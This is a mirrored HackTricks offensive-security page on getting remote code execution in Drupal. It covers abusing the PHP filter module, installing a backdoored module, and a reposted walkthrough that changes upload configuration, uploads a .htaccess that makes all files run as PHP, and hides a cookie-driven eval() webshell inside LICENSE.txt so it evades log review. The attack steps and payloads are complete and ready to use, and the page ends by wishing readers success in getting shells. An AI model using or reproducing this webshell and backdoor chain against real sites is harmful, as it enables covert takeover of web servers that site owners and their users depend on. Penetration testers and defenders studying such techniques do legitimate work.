mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 04:23:33 +00:00
276 lines
12 KiB
Markdown
276 lines
12 KiB
Markdown
|
# Drupal RCE
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## With PHP Filter Module
|
|||
|
|
|||
|
{% hint style="warning" %}
|
|||
|
In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated." But from version 8 this module is not installed by default.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
1. Go to **/modules/php** and if a 403 error is returned then the **PHP filter plugin is installed and you can continue**
|
|||
|
1. If not, go to `Modules` and check on the box of `PHP Filter` and then on `Save configuration`
|
|||
|
2. Then, to exploit it, click on `Add content` , then Select `Basic Page` or `Article` and write the **PHP backdoor**, then select `PHP` code in Text format and finally select `Preview`
|
|||
|
3. To trigger it, just access the newly created node:
|
|||
|
|
|||
|
```bash
|
|||
|
curl http://drupal.local/node/3
|
|||
|
```
|
|||
|
|
|||
|
## Install PHP Filter Module
|
|||
|
|
|||
|
{% hint style="warning" %}
|
|||
|
In current versions it's no longer possible to install plugins by only having access to the web after the default installation.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
From version **8 onwards, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. To leverage this functionality, we would have to **install the module ourselves**.
|
|||
|
|
|||
|
1. Download the most recent version of the module from the Drupal website.
|
|||
|
1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
|
|||
|
2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**.
|
|||
|
3. Click on **`Browse`**, select the file from the directory we downloaded it to, and then click **`Install`**.
|
|||
|
4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**.
|
|||
|
|
|||
|
## Backdoored Module
|
|||
|
|
|||
|
{% hint style="warning" %}
|
|||
|
In current versions it's no longer possible to install plugins by only having access to the web after the default installation.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
It was possible to **download** a **module**, add a **backdoor** to it and **install** it. For example, downloading [**Trurnstile**](https://www.drupal.org/project/turnstile) module in compressed format, creating a new PHP backdoor file inside of it, allowing the accessing of the PHP file with a `.htaccess` file:
|
|||
|
|
|||
|
```html
|
|||
|
<IfModule mod_rewrite.c>
|
|||
|
RewriteEngine On
|
|||
|
RewriteBase /
|
|||
|
</IfModule>
|
|||
|
```
|
|||
|
|
|||
|
And then going to **`http://drupal.local/admin/modules/install`** to install the backdoored module and access **`/modules/turnstile/back.php`** to execute it.
|
|||
|
|
|||
|
## Backdooring Drupal with Configuration synchronization <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
|||
|
|
|||
|
**Post shared by** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
|||
|
|
|||
|
### Part 1 (activation of _Media_ and _Media Library_)
|
|||
|
|
|||
|
In the _Extend_ menu (/admin/modules), you can activate what appear to be plugins already installed. By default, plugins _Media_ and _Media Library_ don’t appear to be activated, so let’s activate them.
|
|||
|
|
|||
|
Before activation:
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
After activation:
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
### Part 2 (leveraging feature _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
|||
|
|
|||
|
We’ll leverage the _Configuration synchronization_ feature to dump (export) and upload (import) Drupal configuration entries:
|
|||
|
|
|||
|
* /admin/config/development/configuration/single/export
|
|||
|
* /admin/config/development/configuration/single/import
|
|||
|
|
|||
|
**Patch system.file.yml**
|
|||
|
|
|||
|
Let’s start by patching the first entry `allow_insecure_uploads` from:
|
|||
|
|
|||
|
File: system.file.yml
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
allow_insecure_uploads: false
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
To:
|
|||
|
|
|||
|
File: system.file.yml
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
allow_insecure_uploads: true
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
**Patch field.field.media.document.field\_media\_document.yml**
|
|||
|
|
|||
|
Then, patch the second entry `file_extensions` from:
|
|||
|
|
|||
|
File: field.field.media.document.field\_media\_document.yml
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
|||
|
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
|||
|
|
|||
|
...
|
|||
|
```
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
To:
|
|||
|
|
|||
|
File: field.field.media.document.field\_media\_document.yml
|
|||
|
|
|||
|
```
|
|||
|
...
|
|||
|
|
|||
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
|||
|
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
> I don’t use it in this blogpost but it is noted that it is possible to define the entry `file_directory` in an arbitrary way and that it is vulnerable to a path traversal attack (so we can go back up within the Drupal filesystem tree).
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
### Part 3 (leveraging feature _Add Document_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
|||
|
|
|||
|
The last step is the simplest, and is broken down into two sub-steps. The first is to upload a file in .htaccess format to leverage the Apache directives and allow .txt files to be interpreted by the PHP engine. The second is to upload a .txt file containing our payload.
|
|||
|
|
|||
|
File: .htaccess
|
|||
|
|
|||
|
```
|
|||
|
<Files *>
|
|||
|
SetHandler application/x-httpd-php
|
|||
|
</Files>
|
|||
|
|
|||
|
# Vroum! Vroum!
|
|||
|
# We reactivate PHP engines for all versions in order to be targetless.
|
|||
|
<IfModule mod_php.c>
|
|||
|
php_flag engine on
|
|||
|
</IfModule>
|
|||
|
<IfModule mod_php7.c>
|
|||
|
php_flag engine on
|
|||
|
</IfModule>
|
|||
|
<IfModule mod_php5.c>
|
|||
|
php_flag engine on
|
|||
|
</IfModule>
|
|||
|
```
|
|||
|
|
|||
|
Why is this trick cool?
|
|||
|
|
|||
|
Because once the Webshell (that we’ll call LICENSE.txt ) is dropped onto the Web server, we can transmit our commands via `$_COOKIE` and in the Web server logs, this will show up as a legitimate GET request to a text file.
|
|||
|
|
|||
|
Why name our Webshell LICENSE.txt?
|
|||
|
|
|||
|
Simply because if we take the following file, for example [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (which is already present in the Drupal core), we have a file of 339 lines and 17.6 KB in size, which is perfect for adding a small snippet of PHP code in the middle (since the file is big enough).
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
File: Patched LICENSE.txt
|
|||
|
|
|||
|
```txt
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
this License, you may choose any version ever published by the Free Software
|
|||
|
Foundation.
|
|||
|
|
|||
|
<?php
|
|||
|
|
|||
|
# We inject our payload into the cookies so that in the logs of the compromised
|
|||
|
# server it shows up as having been requested via the GET method, in order to
|
|||
|
# avoid raising suspicions.
|
|||
|
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
|||
|
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
|||
|
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
|||
|
} else {
|
|||
|
phpinfo();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
?>
|
|||
|
|
|||
|
10. If you wish to incorporate parts of the Program into other free
|
|||
|
programs whose distribution conditions are different, write to the author
|
|||
|
|
|||
|
...
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
#### **Part 3.1 (upload file .htaccess)**
|
|||
|
|
|||
|
First, we leverage the _Add Document_ (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
**Part 3.2 (upload file LICENSE.txt)**
|
|||
|
|
|||
|
Then, we leverage the _Add Document_ (/media/add/document) feature again to upload a Webshell hidden within a license file.
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
|||
|
|
|||
|
The last part consists of interacting with the Webshell.
|
|||
|
|
|||
|
As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
And as you can see in the logs, it looks like only a txt file has been requested.
|
|||
|
|
|||
|
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|||
|
Thank you for taking the time to read this article, I hope it will help you get some shells.
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|